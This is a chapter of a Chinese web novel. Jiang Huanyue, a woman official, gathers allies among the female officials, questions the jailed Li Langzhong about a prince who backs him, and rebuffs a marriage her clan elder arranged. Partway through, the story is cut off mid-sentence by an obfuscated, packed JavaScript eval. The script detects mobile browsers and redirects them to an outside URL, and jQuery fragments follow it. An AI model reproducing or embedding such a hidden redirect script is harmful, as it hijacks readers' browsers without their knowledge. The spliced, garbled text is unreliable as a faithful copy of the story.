“姜主事,你为天下女子开先河!从来没有女官能在朝堂上能以弹劾扳倒官员!行堂皇之道,除贪佞之臣,快哉!而且你说得对,同朝为官,皆为大夏生民,那些朝臣凭什么瞧不起女子!”王筱琦眼神火热,口中滔滔不绝,全然是对姜桓月的崇拜。
姜桓月笑得像只狐狸,倾身道:“王姑娘不必多礼,叫我桓月就好。我不过是做了诸位都想做的事情,今日是我一人,日后会有十人、百人、千人,终有一日,女官将势不可挡,无人再敢小觑!”
此时的姜桓月仿佛在发光,吐出的每一个字都有着撼动人心的力量,王筱琦愈发仰慕,仰头道:“桓月!你一定会在大夏史书上留下姓名,千年传颂,万年不朽!”
“不是我,是我们!我们所有人都将成为大夏史书上最壮阔的一笔!”姜桓月很是郑重,在场所有人都能感觉到从心底散发的真挚之意。
所有人的心里都燃起了火,从胸膛到肺腑一片灼热,王筱琦眼中痴迷更深,胸膛起伏,咬着嘴唇几乎要说不出话。
万丈豪情在阁中激荡,久久难以平静。
可众人思及自身处境,又有些怅惘,三月过去,姜桓月已迈上朝堂,她们还在蹉跎岁月,根本接触不到差事,更别说能立功。
王尚书为刁难姜桓月,才给她分派的差事,而其他女官都被上官当成花瓶摆设,若主动讨要差事,上官便随便找些不重要的,哄孩子似的搪塞她们。
气氛逐渐低落。
乔晗玉忽然喊到,“桓月,你有主意,你教我们,我们以后听你的!”
“对!”第二个附和的是当初那个嚷嚷着要嫁给国公的姑娘。
“我们听桓月!”
众人心中火焰再度燃起,纷纷赞同。
姜桓月明白,众人不是不想飞,而是被困久了,暂时忘了会飞。
她环视众人,对着一双双满是信任的眼眸,缓缓道:“好!”
听到这个字,众人仿佛有了主心骨,不自觉抬头挺起胸膛。
“桓月,还有我,我也要跟着你!”王筱琦鼓起勇气开口。
“当然少不了王大小姐!你都知道了我们的谋划,难道还想走?”姜桓月舒朗一笑,鱼儿自己进网了。
众人亦笑,气氛松快下来。
“桓月,那以后我们该怎么办?”乔晗玉迫不及待发问。
“我们有个旁人皆比不上的长处。”
“是什么?”
“我们在六部九寺五监皆有人手,可以互通有无,就如将作监若有笔户部该拨下的银子,可以问问南翌情况,消息多了,总能从中寻到破绽,不论是银两未结,还是有人贪赃,都是我们的机会。”
姜桓月摇晃着手中酒盏,笑得有些邪气,“我们现在不起眼,正方便打探消息。这当中,还有一类人不可忽视——胥吏。那些小吏通晓各处情况,包括暗地里的阴私,却缺少进身之阶,而我们有名位,用这些消息可以换来机会。”
众人眼前一亮,不住点头,秋南翌快速瞟了姜桓月一眼,笑着啜了口酒。
“还有那些朝臣也不是铁板一块,绝不会每个都如李郎中这般……”姜桓月放下酒盏,意味深长看着众人。她们现在要做是汲取一切可能的力量,将根系深深扎入大夏朝堂。
众人脑中愈发清明,定下心在各自位置稳扎稳打。
-
与众人分别后,姜桓月直奔大理寺,李郎中正关在大理寺狱中。
沿着阴冷狭长的巷道,姜桓月走入狱中,碧色官服在昏沉光线中格外惹眼。
李郎中盘坐在草席上,探出头幸灾乐祸:“哟,姜主事来陪我了?我就知道你逃不过京察!”
“我来,不是陪李郎中,而是来探视手下败将的。好叫李郎中知道,我不仅没被问罪,待京察一过,就会官升一品!”
“怎么可能!!”李郎中大惊,连忙起身,走近狱门,上下打量姜桓月。
只见姜桓月官袍犹在,衣饰齐全,身后亦无差役,确实不像是被问罪下狱的模样。
李郎中揉了揉眼,姜桓月还是那副模样。
“不对,不对,不应该是这样的。”
李郎中摇晃着狱门,锁链剧烈碰撞,发出哐当的响声。
姜桓月站在半丈远的位置,坦然道:“甲库籍册我在半月前就已经理完了,只是一直没有说过。”
李郎中靠着狱门颓丧摇头,长叹一声:“是我输了。姜桓月,你不会就是来看我笑话的吧?”
“我想听你的实话,你卖官和截留的银两真的归了自己吗?”姜桓月幽幽开口。
一个五品郎真的能决定六品官的归属,能截留户部拨下的库银?
李郎中默然。
“论理,你不该对我有这么大敌意,如果是因为我占了李盛的位置,你与李盛的情谊根本够不到这个分上。”
李盛是李郎中族侄,已不知道隔了多少代,若真是李郎中亲近之人,根本无需在外任蹉跎。
李郎中握紧了手,依旧不言。
“我听说,李郎中并不拘泥于男女分别,京中只有你愿意帮女官打点。我还听说,李郎中家中只有一个女儿。”
李郎中顺着狱门滑坐在地,仰面望着斑驳墙顶,怅然道:“姜姑娘,你已经赢了。听我一句劝,不要在官场里呆太久,等到合适的时候,还是找个勋贵嫁了吧。”
这样的话,姜桓月听过太多,若要嫁人,她就不会走到这里了。
姜桓月走近狱门,蹲下身子。
“那你的女儿呢?她拜了大儒为师,不过十岁就放言要考女官。你忍心让她呆在四四方方的后宅?”
“姜姑娘,事情没有那么简单。你猜得不错,我只是个推上台前的小小卒子,身后确有人在,女官在他们眼里只是拉拢人心和婚嫁的筹码。这世上只有一个女皇,也只有她在时,才会有走入朝堂的女官,你能握住等到也只会是女皇在时的风光。”
姜桓月眼皮的不受控制的跳了两下,李郎中不仅肯定她的猜测,还刻意提及女皇,不难想到,他背后之人多半是某位皇子,而且还是极可能继位的皇子。
只有皇子才会让李郎中刻意强调“女皇在时的风光”,才会令朝臣缄默不言,不约而同忽略李郎中一案中的蹊跷。
姜桓月察觉到李郎中此刻告诫的恳切,恭敬朝李郎中行了一礼。
“多谢李郎中为我解惑,令爱的事情如有机会,我让她顺遂的。”
李郎中明白姜桓月不会听劝,背对姜桓月,阖眼道:“罢了罢了,你走吧!我行差踏错,落得如此下场,又能劝你什么呢?”
……
静候片刻,见李郎中不再说话,姜桓月再度端正行礼。
“李郎中,告辞!”
在姜桓月转身那瞬,一滴晶莹泪珠顺着李郎中衣襟滚落,啪嗒一声打在草席上。
姜桓月自昏暗牢狱走出,双唇紧抿,知道李郎中背后人是皇子后,她心中生出几分紧迫。
女官尚且幼小,在有心人们眼中就是道旁任人拾捡的诱人馅饼。
朝中如王尚书、李郎中这般当面表明态度,直接为难的其实是少数,更多的敌人正藏在暗处,露出森冷獠牙,就如那位不知排行的皇子。
那位皇子在前世极有可能成功了。姜桓月记得,前世刘沐云曾在面前炫耀,她的同年女官嫁了怎样的勋贵重臣。成为国公夫人后,刘沐云亦为其她未嫁女官牵线搭桥,得了厚重谢礼,女官彻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569466|187034||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
底成了女子上嫁的阶梯。
再度瞥见几分前世的真相,姜桓月不免内心沉重。
出了大理寺,她晃晃悠悠地走进街市,任轻软暖阳笼罩周身,烟火气萦绕于耳,驱散方才骨头缝里生出的阴寒。
直至日落,姜桓月方归家。
看门老仆见了她,急切道:“姑娘可算回来了!有人送信给姑娘,等了一下午!”
送信的人是个古铜肤色的精壮汉子,口称姜桓月“姑奶奶”。
姜桓月接过信,瞧见封皮上的几个字就扯了扯嘴角,抖开信,读完心中内容,她笑了,笑里透着刺骨的冷意。
精壮汉子不由得缩了缩脖子。
这是族老给姜桓月寄来的,信里东拉西扯的寒暄占了大半,直至最后谈起了姜桓月的婚事,说是已经帮她相看好了几个人选,只待她回乡就能完婚,若是不方便回去,族老还能把人送来京城。
族老还以为自己可以轻易左右姜桓月。
姜桓月随手捏起门房那杆秃毛旧笔,在信纸背后龙飞凤舞地写下两个大字——“不要!”又把信纸原样塞回信封,交给精壮汉子送回。
精壮汉子接过信,趁机又将一封没有署名的信塞进了姜桓月手心。
姜桓月不动声色,收下了。
精壮汉子将信带回乡里,姜桓月在京中立功的消息也随之传了回去。
族老打开姜桓月回信,露出了里面漫不经心的两个大字,气得胡子都翘起来,拍桌大骂:“姜桓月这个不忠不孝之徒!放肆……咳咳……”
身边族人慌忙给他顺气。
信纸飘落在地,那两个张扬的大字仿佛在嘲笑族老自视甚高。
族老自觉被姜桓月挑衅,不能容忍当初任他揉扁搓圆的姜桓月脱离控制,又忆起上次姜桓月中选女官时的憋屈,更是怒从心起:“不行,我一定要给姜桓月点颜色看看,她这是要视宗族于无物!”
“族老注意身子,气大伤身!”
“是啊!”
族人只关心族老身体,却无人附和族老的话,三叔母更躲到了人群之后。
他们对立功的姜桓月生了忌惮,不敢轻易得罪。
族老更气了,推开身前的族人道:“别以为我不知道,你们想讨好姜桓月,可别忘了这个小妮子记仇得很,人家才不会领你们的情。”
族人们皆面上陪笑:“族老多心了,姜桓月再有出息也逃不过您的手掌心,还是族老的身子要紧!”
话虽如此说,但无形之中姜家早已生了裂痕。
刘家也听到了姜家的热闹,刘母难掩愤恨:“姜桓月走了什么运道,竟是立功了。姜家是张狂,等沐云做了女官,定能压姜桓月一头!”
刘母伸长耳朵打探姜家动静,听了半天,又皱眉道,“沐云,京中贵人还是没有消息吗?”
约定的日子已至,可刘家等了许久都没有收到贵人的消息,刘沐云的官位更是丝毫没有影子。
“没,许是贵人有什么事耽误了。”刘沐云攥紧袖口,压下心底不安。
话音刚落,刘家大门被敲响,方才与姜家族人一同回来的,还有刘家派去京中给贵人送信的仆从。
“不好了,贵人出事了!”仆从慌慌张张地向两人禀告。
刘家贵人李郎中此刻已在大理寺狱中,根本无法回信,更别说给刘沐云带来官位了。
刘母眼前一黑,几乎要厥过去,盼了许久的官位就这么成了泡影,还得继续看着姜家嚣张。
刘沐云亦心神震荡,一面扶住刘母,一面细细询问仆从京中情形。
得知姜桓月在京中风头无两,她眼中晦涩弥漫,从牙缝中森然吐出字句:“姜桓月,我不会让你得意太久的……”